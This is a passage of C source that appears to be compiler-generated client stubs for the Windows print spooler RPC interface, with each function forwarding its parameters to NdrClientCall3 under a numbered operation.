STRING_HANDLE pPrinterName,\n    /* [out] */ PRINTER_HANDLE *pHandle,\n    /* [unique][string][in] */ wchar_t *pDatatype,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ DWORD AccessRequired)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  1,\n                  0,\n                  pPrinterName,\n                  pHandle,\n                  pDatatype,\n                  pDevModeContainer,\n                  AccessRequired);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcSetJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [unique][in] */ JOB_CONTAINER *pJobContainer,\n    /* [in] */ DWORD Command)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  2,\n                  0,\n                  hPrinter,\n                  JobId,\n                  pJobContainer,\n                  Command);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcGetJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  3,\n                  0,\n                  hPrinter,\n                  JobId,\n                  Level,\n                  pJob,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEnumJobs( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD FirstJob,\n    /* [in] */ DWORD NoJobs,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  4,\n                  0,\n                  hPrinter,\n                  FirstJob,\n                  NoJobs,\n                  Level,\n                  pJob,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAddPrinter( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ PRINTER_CONTAINER *pPrinterContainer,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ SECURITY_CONTAINER *pSecurityContainer,\n    /* [out] */ PRINTER_HANDLE *pHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  5,\n                  0,\n                  pName,\n                  pPrinterContainer,\n                  pDevModeContainer,\n                  pSecurityContainer,\n                  pHandle);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcDeletePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  6,\n                  0,\n                  hPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcSetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ PRINTER_CONTAINER *pPrinterContainer,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ SECURITY_CONTAINER *pSecurityContainer,\n    /* [in] */ DWORD Command)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  7,\n                  0,\n                  hPrinter,\n                  pPrinterContainer,\n                  pDevModeContainer,\n                  pSecurityContainer,\n                  Command);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcGetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPrinter,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  8,\n                  0,\n                  hPrinter,\n                  Level,\n                  pPrinter,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAddPrinterDriver( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ DRIVER_CONTAINER *pDriverContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  9,\n                  0,\n                  pName,\n                  pDriverContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEnumPrinterDrivers( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pDrivers,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  10,\n                  0,\n                  pName,\n                  pEnvironment,\n                  Level,\n                  pDrivers,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcGetPrinterDriver( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pDriver,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  11,\n                  0,\n                  hPrinter,\n                  pEnvironment,\n                  Level,\n                  pDriver,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcGetPrinterDriverDirectory( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pDriverDirectory,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  12,\n                  0,\n                  pName,\n                  pEnvironment,\n                  Level,\n                  pDriverDirectory,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcDeletePrinterDriver( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pDriverName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  13,\n                  0,\n                  pName,\n                  pEnvironment,\n                  pDriverName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAddPrintProcessor( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pPathName,\n    /* [string][in] */ wchar_t *pPrintProcessorName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  14,\n                  0,\n                  pName,\n                  pEnvironment,\n                  pPathName,\n                  pPrintProcessorName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEnumPrintProcessors( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPrintProcessorInfo,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  15,\n                  0,\n                  pName,\n                  pEnvironment,\n                  Level,\n                  pPrintProcessorInfo,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcGetPrintProcessorDirectory( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPrintProcessorDirectory,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  16,\n                  0,\n                  pName,\n                  pEnvironment,\n                  Level,\n                  pPrintProcessorDirectory,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcStartDocPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DOC_INFO_CONTAINER *pDocInfoContainer,\n    /* [out] */ DWORD *pJobId)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  17,\n                  0,\n                  hPrinter,\n                  pDocInfoContainer,\n                  pJobId);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcStartPagePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  18,\n                  0,\n                  hPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcWritePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [size_is][in] */ BYTE *pBuf,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcWritten)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  19,\n                  0,\n                  hPrinter,\n                  pBuf,\n                  cbBuf,\n                  pcWritten);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEndPagePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  20,\n                  0,\n                  hPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAbortPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  21,\n                  0,\n                  hPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcReadPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [size_is][out] */ BYTE *pBuf,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcNoBytesRead)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  22,\n                  0,\n                  hPrinter,\n                  pBuf,\n                  cbBuf,\n                  pcNoBytesRead);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEndDocPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  23,\n                  0,\n                  hPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAddJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pAddJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  24,\n                  0,\n                  hPrinter,\n                  Level,\n                  pAddJob,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcScheduleJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  25,\n                  0,\n                  hPrinter,\n                  JobId);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcGetPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ BYTE *pData,\n    /* [in] */ DWORD nSize,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  26,\n                  0,\n                  hPrinter,\n                  pValueName,\n                  pType,\n                  pData,\n                  nSize,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcSetPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName,\n    /* [in] */ DWORD Type,\n    /* [size_is][in] */ BYTE *pData,\n    /* [in] */ DWORD cbData)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  27,\n                  0,\n                  hPrinter,\n                  pValueName,\n                  Type,\n                  pData,\n                  cbData);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcWaitForPrinterChange( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Flags,\n    /* [out] */ DWORD *pFlags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  28,\n                  0,\n                  hPrinter,\n                  Flags,\n                  pFlags);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcClosePrinter( \n    /* [out][in] */ PRINTER_HANDLE *phPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  29,\n                  0,\n                  phPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAddForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ FORM_CONTAINER *pFormInfoContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  30,\n                  0,\n                  hPrinter,\n                  pFormInfoContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcDeleteForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pFormName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  31,\n                  0,\n                  hPrinter,\n                  pFormName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcGetForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pFormName,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pForm,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  32,\n                  0,\n                  hPrinter,\n                  pFormName,\n                  Level,\n                  pForm,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcSetForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pFormName,\n    /* [in] */ FORM_CONTAINER *pFormInfoContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  33,\n                  0,\n                  hPrinter,\n                  pFormName,\n                  pFormInfoContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEnumForms( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pForm,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  34,\n                  0,\n                  hPrinter,\n                  Level,\n                  pForm,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEnumPorts( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPort,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  35,\n                  0,\n                  pName,\n                  Level,\n                  pPort,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcEnumMonitors( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pMonitor,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  36,\n                  0,\n                  pName,\n                  Level,\n                  pMonitor,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum37NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  37,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum38NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  38,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nDWORD RpcDeletePort( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [in] */ ULONG_PTR hWnd,\n    /* [string][in] */ wchar_t *pPortName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  39,\n                  0,\n                  pName,\n                  hWnd,\n                  pPortName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcCreatePrinterIC( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [out] */ GDI_HANDLE *pHandle,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  40,\n                  0,\n                  hPrinter,\n                  pHandle,\n                  pDevModeContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcPlayGdiScriptOnPrinterIC( \n    /* [in] */ GDI_HANDLE hPrinterIC,\n    /* [size_is][in] */ BYTE *pIn,\n    /* [in] */ DWORD cIn,\n    /* [size_is][out] */ BYTE *pOut,\n    /* [in] */ DWORD cOut,\n    /* [in] */ DWORD ul)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  41,\n                  0,\n                  hPrinterIC,\n                  pIn,\n                  cIn,\n                  pOut,\n                  cOut,\n                  ul);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcDeletePrinterIC( \n    /* [out][in] */ GDI_HANDLE *phPrinterIC)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  42,\n                  0,\n                  phPrinterIC);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum43NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  43,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum44NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  44,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum45NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  45,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nDWORD RpcAddMonitor( \n    /* [unique][string][in] */ STRING_HANDLE Name,\n    /* [in] */ MONITOR_CONTAINER *pMonitorContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  46,\n                  0,\n                  Name,\n                  pMonitorContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcDeleteMonitor( \n    /* [unique][string][in] */ STRING_HANDLE Name,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pMonitorName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  47,\n                  0,\n                  Name,\n                  pEnvironment,\n                  pMonitorName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcDeletePrintProcessor( \n    /* [unique][string][in] */ STRING_HANDLE Name,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pPrintProcessorName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  48,\n                  0,\n                  Name,\n                  pEnvironment,\n                  pPrintProcessorName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum49NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  49,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum50NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  50,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nDWORD RpcEnumPrintProcessorDatatypes( \n    /* [unique][string][in] */ STRING_HANDLE pName,\n    /* [unique][string][in] */ wchar_t *pPrintProcessorName,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pDatatypes,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  51,\n                  0,\n                  pName,\n                  pPrintProcessorName,\n                  Level,\n                  pDatatypes,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcResetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ wchar_t *pDatatype,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  52,\n                  0,\n                  hPrinter,\n                  pDatatype,\n                  pDevModeContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcGetPrinterDriver2( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pDriver,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [in] */ DWORD dwClientMajorVersion,\n    /* [in] */ DWORD dwClientMinorVersion,\n    /* [out] */ DWORD *pdwServerMaxVersion,\n    /* [out] */ DWORD *pdwServerMinVersion)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  53,\n                  0,\n                  hPrinter,\n                  pEnvironment,\n                  Level,\n                  pDriver,\n                  cbBuf,\n                  pcbNeeded,\n                  dwClientMajorVersion,\n                  dwClientMinorVersion,\n                  pdwServerMaxVersion,\n                  pdwServerMinVersion);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum54NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  54,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum55NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  55,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nDWORD RpcFindClosePrinterChangeNotification( \n    /* [in] */ PRINTER_HANDLE hPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  56,\n                  0,\n                  hPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    